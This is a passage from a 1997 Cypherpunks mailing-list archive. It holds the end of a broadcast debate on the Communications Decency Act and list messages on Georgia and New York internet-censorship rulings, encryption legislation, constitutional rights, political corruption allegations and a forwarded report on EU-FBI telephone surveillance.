in the United States. But it's all over the world.  How can we impose
laws to the entire world.  We can't do that.


    FANCHER: That's a very good point, what affect the CDA will have if
it's upheld is it will advance the process which is going to eventually
happen anyway of moving any kind of Internet service or activities
which might be slightly illicit or simply where the proprietors want to
avoid taxation or regulation to other parts of the world, specifically
places like the Caiman Islands, the Bahamas, Anguilla.  It does not
take a lot of resources to run copper wire to a Caribbean island and
operate an Internet server there.  And I'm looking forward to the day
when that's more common.


    ROTENBERG: Bruce, let me say, I'm not looking forward to that day. 
I think the Internet offers wonderful opportunities for American
business and American citizens and American consumers, and the thought
that we would want a law to pass which would effectively move all of
this activity offshore doesn't seem to me to be something that many
people would be in favor of.


    FANCHER: Well, only the servers have to be offshore.  The people
behind the information can remain in the United States.  As you know,
using encryption, that's perfectly feasible.


    MORRIS: And what about the penalties?  Let's get to that. If the
CDA is upheld by the Supreme Court, what kind of penalties are people
facing?  Are these felonies?


    ROTENBERG: Well, these are criminal sanctions.  I mean, which
includes both fines and the risk of imprisonment.  And one of the other
great concerns that arises when you try to punish people for speech is
always the question how are these decisions going to be made?  What
type of speech is going to trigger, you know-one type of publication
ends you up in jail for 3 years, and another type of publication isn't
prosecuted.  There's always a problem with prosecuting people based on
what they say or what they print.


    MORRIS: I'm going to ask each of you in the last moments that we
have- we have about 20 seconds each to wrap up your point of view.  Can
I start, Cathy, we started with you.  Let's begin this wrap-up with
you.


    CLEAVER: Sure.  The idea that Cyberspace is going to be exempt from
any laws, I think, is just nonsense.  We know that to be the case.  If
Cyberspace, if the Internet is going to survive as a marketing forum
which most of the people want it to be, there are going to have to be
some rules and regulations, some laws against fraud, some laws against
exploitation.  There are laws now against child pornography.  You know,
these are important.  It's important to build this new community in
such a way that we can actually operate with each other as we do with
an amount of trust and an amount of responsibility imposed by laws.
It's just-it's inevitable.  It's going to happen.


    MORRIS: Cathy Cleaver from-the Director of Legal Policy for Family
Research Council.  Thank you very much for adding to today's
conversation.


    CLEAVER: You're welcome.


    MORRIS: And, Bruce, your comment for a wrap-up.


    FANCHER: Well, I'd like to say to Cathy that 25 years ago the idea
of 100 million personal computers sounded like nonsense.  And 5 years
ago the idea of 40 or 50 million people connected to the Internet
sounded like nonsense.  So, I'd be very careful before making
statements like that.  And I would like to say that I still believe in
the U.S. Constitution, but I believe we need

technological solutions to back it up.


    MORRIS: All right, Bruce Fancher, thank you very much for being
with us. And then the final word, Marc Rotenberg, Director, Electronic
Privacy Information Center.


    ROTENBERG: Well, Valerie, I'm looking forward to next week.  The
Supreme Court is going to rule on a very important case, affecting the
freedom and the future of the Internet.  And it is my hope and my
belief that they're going to take one of the principles that this
country was founded on, a right of individuals to express their views,
even when others may disagree strongly, and protect that right.  It was
established in the 18th century, and I'm hopeful that it will remain
with us in the 21st.  


MORRIS: Marc Rotenberg, Director, Electronic Privacy Information
Center.  Thank you to all three of you.  I hope that we can revisit
this issue if not next week, in the very near future.  Thank you all
very much.



    END


LANGUAGE: ENGLISH


LOAD-DATE: June 20, 1997 








==================================================================

Marc Rotenberg, director                *   +1 202 544 9240 (tel)

Electronic Privacy Information Center   *   +1 202 547 5482 (fax)

666 Pennsylvania Ave., SE Suite 301     *   rotenberg at epic.org

Washington, DC 20003   USA              +   http://www.epic.org

==================================================================








From randerso at ece.eng.wayne.edu  Fri Jun 20 19:53:31 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sat, 21 Jun 1997 10:53:31 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <3.0.2.32.19970620170015.00950c20@mail.io.com>
Message-ID: 



On Fri, 20 Jun 1997, Greg Broiles wrote:

> I suggest adopting two very popular memes to reach this goal - three
> strikes term limits. A legislator who votes for three different laws which
> are eventually struck down as unconstitutional shall be removed from
> office, and unable to serve in the legislature again for at least 25 years.
> 
> Perhaps first offenders can be offered the opportunity to participate in a
> diversion program, whereby they're forced to [re]take classes in
> constitutional law and civics, and if they succesfully complete the program
> and don't reoffend within one year, the first violation will be ignored. 

How do you propose to deal with such things as the Telecommunications Act
of 1996 (which incidently included the CDA)?   I can see a problem where
one sentence or clause gets thrown out of a major bill (say a compromise
budget, that someone screwed up one minor ammendment), and if you have
that happen 3 times in 6 years, you've lost 90% of your senators!  I'm not
saying that your idea isn't without merit, just that it's got a few
problems that strike me as somewhat major..

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From tcmay at got.net  Fri Jun 20 20:03:19 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 11:03:19 +0800
Subject: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: 



At 7:22 PM -0700 6/20/97, John W. Noerenberg wrote:

>Even if it makes it thru Congress, perhaps it can be challenged by the
>courts because of possible 4th amendent abuses.
>
>Lots of opportunity to sink it.
>
>Sure this is a lousy turn of events, but it's only 1 battle.  It isn't even
>close to the end of the war.

Hey, hey, hey! None of us who have called it "war" have said it was "the
end of the war."

It's the firing shot in the "hot war," if it passes. The "cold war" has
been underway for more than 4 years.

The CDA was a warning shot, this is the bombing of Pearl Harbor.

They will be sent to meet the fate they have earned.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From pooh at efga.org  Fri Jun 20 20:42:22 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sat, 21 Jun 1997 11:42:22 +0800
Subject: [EFGA] WE won our court case!! (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970620231443.037409d4@mail.atl.bellsouth.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 04:57 PM 6/20/97 -0700, Bill Stewart wrote:
>>From: "Robert A. Costner" 
>>To: action at efga.org
>>Subject: [EFGA] WE won our court case!!
>>
>>EFGA was granted a preliminary injunction in our court case 
>>against the state of Georgia.  Details and press release to follow.
>
>Yee-hah!  If you ignore CONgress, we've had a good week, between
>this court and the New York CDA courts doing the right thing
>and the DES crack finishing.
>
>>Let's meet somewhere tonight to celebrate!
>Obviously y'all should meet in the Atlanta Underground, wearing masks :-)
>(though I won't be there, since it's a bit far from the West Coast...)

I find messages like this to be interesting.  I assume that there is some 
void in the souls of some that cannot be filled and they look elsewhere for 
that spark that will bring them what they are looking for.  I regret that 
when they look to me, they do not find it.  That I am not the answer does not 
surprise me.  That anyone would think I might be the answer is what is 
surprising.

What is EFGA?  It is an unfunded group of Georgia based internet users who 
have an interest in privacy, free speech, and the free use of the internet.  
For about six months or so, we grumbled about how bad things were.  Then, a 
few of us got the idea that if only we tried to change something, we just 
might do it.  Eighteen months later, we won a case in federal court against 
the state of Georgia.

"Yee-ha"?  Is this meant to be a derisive comment?  No money.  No legal 
training.  Not a lawyer to support us.  What were we to do?  We went to the 
ACLU and they told us the case had no standing - they couldn't help us with 
the Georgia law.  We got no better treatment from EFF.

This message was not sent to this list - cyberpunks or remailer operators.  
It was only sent to an internal EFGA list of people who made a claim that 
they wanted to find out more about EFGA.

Me?  I'm a software developer.  I don't work for EFGA.  I just founded the 
group, and participate in it's running and policy.  No one works for EFGA.  
As I said we are unfunded. We have no offices, we have no staff.

Obviously this is a victory for free speech.  This is grassroots activism.  
This email message I see is not unusual.  Why do so many people who would 
presumably be on the same side as EFGA and myself do what is apparently 
trying to pick at us?

What is the difference between someone in EFGA and someone else on this list? 
 If I can read the federal register when I get home from work and call up the 
Social Security Administration and ask to speak on a panel they are having, 
then anyone can.  If a group of people with no financial or legal resources 
can call themselves EFGA and sue the state, then why can't someone else?

Yee-ha?  Meet in Underground Atlanta wearing masks?  What kind of comments 
are these?  I spent gasoline, time, and three dollars for parking today to 
meet with the CIO of Georgia to speak with him about PGP & encryption.  He 
met with me because I called him on the phone and asked.  What are you saying 
here?  Are you suggesting that change is wrong?  Are you, like others on this 
list implying that you can't afford the three dollars or you just don't know 
how to dial the phone?

I didn't post the original message here.  If you would like to trade insults, 
I'll be happy to do so with you.  I'd rather just go up to D.C. on a cheap 
flight and sit in a congressman's office for 45 minutes until a staffer can 
speak with me.

Reasonable men adapt to match the world around them.  Unreasonable men try to 
adapt the world to themselves.  Therefore, only unreasonable men bring about 
change in the world.  I may be unreasonable, but I'm not pathetic.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM6tHFkGpGhRXg5NZAQEyigIAiYVY9kTroAD6Ci4k8plGLBw172HmnzfB
snkzbOpnhThf8FokELwXgxgdM7ixJDweKuAICBITY8iozQfVWKUcOQ==
=pRgU
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From nobody at huge.cajones.com  Fri Jun 20 21:00:35 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 21 Jun 1997 12:00:35 +0800
Subject: crypto wars
Message-ID: <199706210347.UAA19293@fat.doobie.com>



        "There must be some way out of here",
        Said the joker to the thief
        "There's too much confusion --
        I can't get no relief.
        Businessmen, they drink my wine
        Plowmen dig my earth.
        None of them all along the line
        Know what any of it is worth."

        "No reason to get excited",
        the thief he kindly spoke
        "There are many here among us
        Who feel that life is but a joke
        But you and I, we've been through that,
        and this is not our fate
        So let us not speak falsely now
        The hour is getting late."
                       
        All along the watchtower
        Princes kept the view
        While the women came and went,
        Barefoot servants, too
        Outside, in the cold distance,
        A wildcat did growl
        Two riders were approaching
        The wind began to howl.







From ravage at ssz.com  Fri Jun 20 21:01:07 1997
From: ravage at ssz.com (Jim Choate)
Date: Sat, 21 Jun 1997 12:01:07 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill (fwd)
Message-ID: <199706210328.WAA12321@einstein.ssz.com>



Forwarded message:

> Date: Fri, 20 Jun 1997 16:41:30 -0700 (PDT)
> From: Declan McCullagh 
> Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill

> The United States is not a pure democracy, it is a constitutional
> republic. I believe I have a constitutional right to privacy. I also
> believe that I probably have a constitutional right to anonymity. It
> doesn't matter what "most senators" think, or indeed what "most Americans"
> think, if their thinking is contradicted by the Constitution. We do not
> have simple majority rule, here. In fact the founders of the country went 
> out of their way to insure that the simple majority could not easily 
> violate the principles upon which the country was founded.

Actualy with the wording of the 9th and 10th you as a citizen are reserved
ANY right you choose and the benefit of the doubt goes to you, the citizen.
For the government to prove their side they MUST demonstrate a
constitutional mandate.

Also notice the heirarchy of prohibition detailed in the 10th. The people
are NOT mentioned at all. In effect it says that the final say in ANY
discusssion of federal powers versus citizen rights falls to the people
since only they are specificaly NOT mentioned as a party the Constitution
even has the power to prohibit.

 
				ARTICLE IX. 
 
	The enumeration of the Constitution, of certain rights, shall 
not be construed to deny or disparage others retained by the people. 
 
 
[ This in effect says that my rights as a citizen are not limited by those
  that may be listed explicity in the Constitution. In effect an admission
  that my rights as a citizen, or even as a human being, are not limited
  by the Constitution by explicit intent of the authors.]
 

				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 
 
[ The powers which are not assigned to the federal government by the
  Constitution OR prohibited in respect to the states falls to the
  states (acting per their own individual constitutions as the deciding
  factor within their borders) and if not covered in the state constitution
  then to the poeple to decide (assuming a popular vote). It is critical
  to note that no explicit limit is placed on the issues decidable by the
  people, a difference explicitly pointed out with the federal and state
  governments.] 
 
[The first ten amendments went into effect on 15 December 1791.] 
 
A perfect non-crypto example is the current brew-haha over assisted suicide
and a Constitutional right to die. The question is not whether I have a
right to kill myself (assisted or otherwise). The 9th clearly states that
just because a right I might claim is not listed does not mean I don't have
it. Now the 10th says that if the federal government wants to control it
they must show a delegation of authority in the Constitution. So, despite
what the esteemed Supremes may think the question is not "Does the
Constitution allow a citizen to do this?" which is what they announced as
their 'first' question but rather, " does the Constitution delegate the
authority to decide when or how a citizen may die?" If not then each
individual state should decide the issue until or if an amendment can be
passed. Should individual states not cover such decisions in their own
constitutions then the poeple decide the issue individualy until a vote
can be arranged. The problem with our current operation is that we don't
have enough plebicites.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Fri Jun 20 21:15:13 1997
From: ravage at ssz.com (Jim Choate)
Date: Sat, 21 Jun 1997 12:15:13 +0800
Subject: [EFGA] WE won our court case!! (fwd)
Message-ID: <199706210343.WAA12370@einstein.ssz.com>



Forwarded message:

> From: "Robert A. Costner" 
> Subject: Re: [EFGA] WE won our court case!! (fwd)

> Reasonable men adapt to match the world around them.  Unreasonable men try to 
> adapt the world to themselves.  Therefore, only unreasonable men bring about 
> change in the world.  I may be unreasonable, but I'm not pathetic.

This is an interesting insight into the underpinnings of a democracy or
republic. The secret to success and ultimate limitation of government
authority is people standing up and saying "Hell NO!, I won't take it any
more." In short, for democracy (any democracy I suspect) to work it REQUIRES
people being unwilling to compromise. So many people labor under the
impression that compromise is how they get to where they want to be. Very
successful indoctrination I suspect...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From azur at netcom.com  Fri Jun 20 21:20:26 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 21 Jun 1997 12:20:26 +0800
Subject: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: 
Message-ID: 



At 6:41 PM -0500 6/20/97, Mac Norton wrote:
>On Fri, 20 Jun 1997, Steve Schear wrote:
>
>> >But the rulings differ in important ways. Manhattan's
>> >Judge Preska did not answer whether the New York law
>> >violated the First Amendment, saying she was going to
>> >wait for the U.S. Supreme Court's to rule on the
>> >Communications Decency Act. She said, however, that
>> >she didn't *need to answer* that question to strike
>> >down the law since it violated the U.S. Constitution's
>> >ban on states attempts to regulate commerce outside
>> >their borders.
>>
>> Might this also mean that states attempting to restrict Internet gaming
>> might similarly be restrained?
>
>Not necessarily, and that's ilustrative of one of the problems with this
>decision on Commerce Clause grounds.  Is child porn, like other articles
>of "commerce", generic across state lines, or is it subject to a Miller
>"community standard"?  Same for the "harmful to minors" standard?
>MacN

Seems to me that community standards ahould only be applied when the
violation occurs completely within the confines of the local jurisdiction,
not via requested transmission from another jurisdiction.

--Steve



PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From stewarts at ix.netcom.com  Fri Jun 20 21:23:20 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 21 Jun 1997 12:23:20 +0800
Subject: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <3.0.2.32.19970620165723.00756920@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970620210534.00752d60@popd.ix.netcom.com>



At 11:14 PM 6/20/97 -0400, you wrote:
>>Yee-hah!  If you ignore CONgress, we've had a good week, between
>>this court and the New York CDA courts doing the right thing
>>and the DES crack finishing.

>"Yee-ha"?  Is this meant to be a derisive comment?  No money.  No legal 
>training.  Not a lawyer to support us.  What were we to do?  We went to the 
>ACLU and they told us the case had no standing - they couldn't help us with 
>the Georgia law.  We got no better treatment from EFF.

Well, in some places, it's an expression of excitement, and it was intended
as such here.  I guess some things don't translate well to ASCII,
given that you seem to think I was picking on you?

The Georgia law was a bad one, and needed overturning.
I hadn't realized you were running EFGA on that small a scale, 
so I'm even more impressed that you succeeded.  
Similarly, the New York court's decision on the NY version of the CDA
was quite welcome, and the distributed internet project to crack
the DES Challenge key succeeded on the day that the Senate committee
was trying to tell us that 56kbps should be plenty for anybody.
It's been a _Good_Week_!

>This message was not sent to this list - cyberpunks or remailer operators.  
>It was only sent to an internal EFGA list of people who made a claim that 
>they wanted to find out more about EFGA.

It got forwarded to remailer-operators, and was an obvious enough match
with Cypherpunks interests that I copied my reply there as well.
We're interested in privacy and anonymity, and in using cryptography
to build tools that will protect and advance these things.

Good court precedents are important as well; there are other people
in the movement doing lawsuits on the crypto export issues and
on free speech.  

>Yee-ha?  Meet in Underground Atlanta wearing masks?  
>What kind of comments are these?  
OK, so it was a lame attempt at humor, but a decision in favor
of anonymity is a Good Thing, and it seemed to be in character
for getting together to celebrate.

>Are you, like others on this list implying that you can't afford 
>the three dollars or you just don't know how to dial the phone?

It's not the three dollars in parking that's keeping me from joining you
in celebrating; it's the $600 airfare I'd need to get to Atlanta...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From geeman at best.com  Fri Jun 20 21:38:17 1997
From: geeman at best.com (geeman at best.com)
Date: Sat, 21 Jun 1997 12:38:17 +0800
Subject: HOT Summer IN White House
Message-ID: <3.0.32.19691231160000.006d1054@best.com>



the New Yoahkah just ran a piece on the gfriend-o-Brown.
Quite worth a read.  Most of the first paragraph below seems
sort of lifted from that article.


At 09:42 AM 6/20/97 -0700, Tim May wrote:
>
>
>This item is one of many such articles outlining the corruptions within
>Washington. Some of these corruptions are huge, and go far beyond simple
>pork-barreling. On a level with Watergate, it seems to many of us.
>
>I don't usually forward items from "talk.politics.crypto," as I assume
>many of you are already reading it. But this particular item fits with the
>"Washington as crime capital in more ways than one" them I've been
>hitting.
>
>Look especially for how favors were granted for high tech exports.
>
>--Tim
>
>> From: softwar at us.net (SOFTWAR)
>> Newsgroups:
>talk.politics.crypto,alt.politics.org.nsa,alt.politics.org.fbi,alt.politics
.cia,alt.politics.clinton,alt.politics.datahighway,talk.politics.misc,alt.po
litics.democrats.d,alt.politics.usa.republican
>> Subject: HOT Summer IN White House
>> Date: Fri, 20 Jun 1997 10:35:29 GMT
>
>> 
>> It's going to be a long hot summer for the Clinton
>> administration.
>> 
>> Wednesday night ABC Primetime did a special on Ron Brown's
>> girlfriend.  The accusations  flying around the dead Secretary
>> of Commerce do not bode well for the living inside the Beltway.
>> First, it seems that Ron acquired an offshore bank account with
>> nearly a million dollars deposited for him by the Government of
>> Vietnam.  Vietnam wanted to normalize trade relations with the
>> US and bribing the top dog at Commerce certainly helped grease
>> the skids.  Vietnam got their trade deal but Brown found out
>> that the FBI knew about his bank account.  So he could not touch
>> the money.  The bribery accusation is collaborated by an
>> ex-Vietnamese official who has also turned his evidence over to
>> the FBI.  Mr. Brown's girlfriend plans to testify before both
>> the Senate and the House committees investigating wrongdoing in
>> the Clinton administration.
>> 
>> Another revelation which should come as no shock is that the
>> First Lady put John Huang in the Commerce Department.  This
>> demand apparently did not sit well with Mr. Brown, who,
>> according to his girlfriend, did not like Mrs. Clinton.  It
>> seems that Ron's strong personality ran smack head on into
>> Hillary�s demanding attitude.  Yet, he bent over backward and
>> made sure that Huang was hustled into his government position,
>> complete with a secret clearance.  Once Huang entered the
>> Commerce Department strange events really started to pop up.
>> The Commerce Department initially denied Huang had access to
>> anything important. It is now known that Huang attended dozens
>> of secret CIA briefings.  Huang is alleged to have discussed
>> secret materials with his former employers at the Lippo group.
>> The allegations come from material obtained by taps on Huang's
>> Commerce Department telephone.
>> 
>> Can the same be said for Ira Sockowitz?  
>> 
>> No.  Ira Sockowitz was placed into his Commerce position
>> directly and personally by President Clinton.  It was Ira
>> Sockowitz who ran Ron Borwn's airline seating arrangements,
>> between working on government affairs.  Whenever Mr. Brown would
>> fly on a government sponsored trade trip - Ira would line up big
>> Corporate powers to ride along on the party plane.  Mr.
>> Sockowitz had more experience as a DNC fund-raiser than security
>> software.  Despite this lack of technical skills Mr. Sockowitz
>> entered the field of banking security software at Commerce.  It
>> is the Commerce Department which approves or denies export of
>> such financial software.  The amount of money involved, invested
>> and possible returns, are staggering.  Obviously, the
>> push/pull/shove involved in getting such a product approved is
>> no easy task.  Few export licenses have been issued and those
>> who have them are not too anxious for any others to join them.
>> 
>> Just how easy was it to obtain such a privilege?  Not very.  Not
>> even Fortune 500 companies could obtain export rights from the
>> Commerce Department.  Letters from IBM, Motorola, Digital, HP
>> and a host of other billion dollar firms clearly indicate their
>> unsuccessful efforts to obtain Commerce licenses to export their
>> products.
>> 
>> However, letters from certain other companies are covered with
>> redacted notes which the Commerce Department refuses to release.
>> One letter to the Commerce Department in particular was faxed to
>> someone (also redacted) along with a memo on how to obtain a
>> "waiver" for export.  Another set of Sockowitz documents being
>> withheld are a set of hand written notes on a conversation, a
>> three pages fax and two applications for license for export
>> dated 8/11/94.  The Clinton administration will not say who sent
>> the fax nor will they say who Ira Sockowitz talked to.  Yet,
>> clearly the topic was a license to export.  A license that could
>> have been worth billions of dollars.
>> 
>> It's going to be a long hot summer for the Clinton
>> administration.
>> 
>> 1 if by land, 2 if by sea.  Paul Revere - encryption 1775
>> 
>> Charles R. Smith
>> SOFTWAR
>> http://www.us.net/softwar
>> 
>> Pcyphered SIGNATURE:
>> 5317BD5D86A9257B2048D1D80523D9ACF320DB56A078CA4EA62BABF7A43EBE6B
>> 2F5FB787CDEF242FA01EF13984F7071AC2B401DAD0010740F1F024C3CCF9D841
>> 9760977F67662EEF
>
>
>






From pooh at efga.org  Fri Jun 20 22:12:16 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sat, 21 Jun 1997 13:12:16 +0800
Subject: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <3.0.2.32.19970620231443.037409d4@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970621004346.0352fafc@mail.atl.bellsouth.net>



-----BEGIN PGP SIGNED MESSAGE-----

At 09:05 PM 6/20/97 -0700, Bill Stewart wrote:
>Well, in some places, it's an expression of excitement, and it was intended
>as such here.  I guess some things don't translate well to ASCII,
>given that you seem to think I was picking on you?
>
>The Georgia law was a bad one, and needed overturning.
>I hadn't realized you were running EFGA on that small a scale, 
>so I'm even more impressed that you succeeded.

OK.  I misread your intentions.  It's just my first couple of postings on 
cyberpunks were not received well.  I finally attributed it to the apparent 
mistaken belief that EFGA was something more than smoke and mirrors.  Of 
course some of it is the fact that I am still learning about this stuff.

Remailers is a very appropriate mail group.  Our press release stated that 
with the law out of the way, we can now set up an anonymous remailer, which 
we have done.  (anon.efga.org)  EFGA has just won a censorship lawsuit, set 
up a PGP keyserver, started a remailer and nym server, and have a lot of 
things on our plate.  I almost long for the days when we sat around 
complaining how powerless we were.  Now that the people in charge are 
listening to us, I'm not sure we know the answers any longer.

The battle against this law was a difficult one.  At first we had the 
standing issue.  Since it was such a ridiculous law, and for various other 
reasons, we were told we would never get into court with it.  Though almost a 
year has passed since we filed the case, I was still wondering if the judge 
would throw this out as of yesterday.

When EFGA was first formed, we had public meetings at the local ACLU offices. 
 We had hoped they would mount a legal challenge to the law for us.  I don't 
have the exact numbers, but the local ACLU gets about 300 requests per month, 
and only is able to work on about three cases each month.  Ours just wasn't 
strong enough according to them.  Mitchell Kaye, one of the co-plaintiffs in 
the suit is an elected Georgia House of Representatives member who had spoken 
out against the law, so we invited him to a meeting at Denny's.

Mitchell did some checking and found an attorney who would talk to us.  We 
had a series of meetings, and became the first group to sign on as a 
plaintiff.  In fact, we incorporated just so we could become a plaintiff.  
Also, after Scott McClain of Bondurant, Mixson, and Elmore had done some pro 
bono work, we were able to take this back to the ACLU and get them involved.  
Later the national ACLU got involved, then the lawsuit finally got real.

We really had some good breaks along the way, but we put a lot of hard work 
into it as well.  If the ACLU hadn't been willing to take it on and 
underwrite the cost, we never would have gotten anything done.

Now we have taken on the task of pushing strong crypto and privacy on the 
State.  I've demo'ed PGP at various places and we have some gov't agencies 
thinking about using PGP as a cost savings business tool.  If we can't win 
the crypto debate in congress, will win by going in through the back door.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM6tb/kGpGhRXg5NZAQHGgwIAyWISQmiEgpHcQpDhFKaaXOgLqkHIOAaQ
F+0VirHxCHsffGqroApOS8+xMPedoQUEc9QMAs+A7+WixWOXFjNbVQ==
=mGcE
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From vznuri at netcom.com  Fri Jun 20 22:20:03 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sat, 21 Jun 1997 13:20:03 +0800
Subject: fbi+eu mass wiretapping?
Message-ID: <199706210507.WAA01992@netcom13.netcom.com>




------- Forwarded Message

From: chasm at insync.net (Schuetzen)
To: ADVISORY.LIST at insync.net, snetnews at world.std.com
Subject: SNET: (fwd) piml] Global telephone tapping system.
Date: Fri, 20 Jun 1997 04:19:01 GMT


- ->  SearchNet's   SNETNEWS   Mailing List

X-No-Archive: Yes

FORWARDED On Thu, 19 Jun 1997 15:19:36 -0400, "Mark A. Smith"
 wrote:
To: piml at mars.galstar.com
Subject: piml] Global telephone tapping system.
From: "Mark A. Smith" 
Date: Thu, 19 Jun 1997 15:19:36 -0400

This is a multi-part message in MIME format.

     European Union and FBI launch global surveillance system

          -------------------
          From Statewatch,
          25 February 1997,
          London, UK
          -------------------

          "The EU, in cooperation with the FBI of the USA, is launching
          a system of global surveillance of communications to combat
          "serious crime" and to protect "national security", but to do
          this they are creating a system which can monitor everyone
          and everything. The EU will be able to trawl the airwaves for
          "subversive" thoughts and "dissident" views and, with its
          partners, across the globe."

          "It seems extraordinary given the concern over the Police
          Bill in the UK and the "Clipper chip" in the USA that there
          has been no debate over the creation of a global telephone
          tapping system initiated by the EU and the USA and supported
          by Canada, Australia, Norway and Hong Kong."

          "the UK Parliament, like many others in the EU, has been by-
          passed in the most blatant way. To claim as the Home
          Secretary does that the "Memorandum of Understanding" is "not
          a significant document" and to fail to send the main EU
          Council Resolution to parliament for scrutiny is quite
          extraordinary when the Police Bill - which extends police
          surveillance - is going through parliament."

          OVERVIEW

          EU-FBI: global tapping system

          The Council of the European Union and the FBI in Washington,
          USA have been cooperating for the past five years on a plan
          to introduce a global telecommunications tapping system.

          The system takes advantage of the liberalisation of
          telecommunications - where private companies are taking over
          from national telephone systems - and the replacement of
          land/sea based lines and microwave towers by satellite
          communications.

          Telephone lines are now partly land-based or under sea or via
          microwave land-based towers but the new generation of
          telecommunications will be totally satellite based.

          The EU-FBI initiative notes the demise of:

            1. state-owned telephone companies
            2. nationally-based telephone systems is concerned about:
            3. the problems faced with intercepting "mobile" phones and
               encrypted communications and wants to ensure:
            4. there is harmonisation of national laws on interception
            5. to ensure that telecommunications provider business
               cooperate with the police and internal security
            6. the equipment produced has standards which can be
               intercepted
            7. as many countries as possible to sign up and thus create
               a de facto global system (through provisions of
               equipment etc to third countries)

          A related disclosure in a book by Nicky Hager shows that
          instead of "suspects" and "targets" the ECHELON system simply
          trawls the airwaves for "subversive thoughts" in written form
          and increasingly in verbal form.

          ECHELON is run under the 1948 UKUSA agreement by the US, UK,
          Canada, New Zealand and Australia.

          REPORT

          The Trevi decision

          The first reference to this initiative was at a Trevi
          Ministers meeting in December 1991 which decided that:

               "a study should be made of the effects of legal,
               technical and market developments within the
               telecommunications sector on the different
               interception possibilities and of what action
               should be taken to counter the problems that have
               become apparent"

          At the meeting of Trevi Ministers in Copenhagen in June 1993
          they agreed the text of a "questionnaire on phone tapping"
          which was sent to each Member State in July 1993 and to the
          new members (Finland, Sweden and Austria) in September 1993
          (see below).

          EU-FBI linkup

          At the first meeting of the new Council of Justice and Home
          Affairs Ministers in Brussels on 29-30 November 1993 they
          adopted the following Resolution on "the interception of
          telecommunications" which speaks for itself and reproduced
          here in full:

          "COUNCIL RESOLUTION ON THE INTERCEPTION OF TELECOMMUNICATIONS

          The Council:

            1. calls upon the expert group to compare the requirements
               of the Member States of the Union with those of the FBI;

            2. agrees that the requirements of the Member States of the
               Union will be conveyed to the third countries which
               attended the FBI meeting in Quantico and were mentioned
               in the memorandum approved by the Ministers at their
               meeting in Copenhagen (Sweden, Norway, Finland
               (countries applying for accession to the European
               Communities), the USA and Canada) in order to avoid a
               discussion based solely on the requirements of the FBI;

            3. approves for practical reasons the extension to Hong
               Kong, Australia and New Zealand (which attended the FBI
               seminar) of the decision on co-operation with third
               countries which was taken at the Ministerial meeting in
               Copenhagen;

            4. hereby decides that informal talks with the above-named
               countries may be envisaged: to that end the Presidency
               and the expert group might, for example, organize a
               meeting with those third countries to exchange
               information."

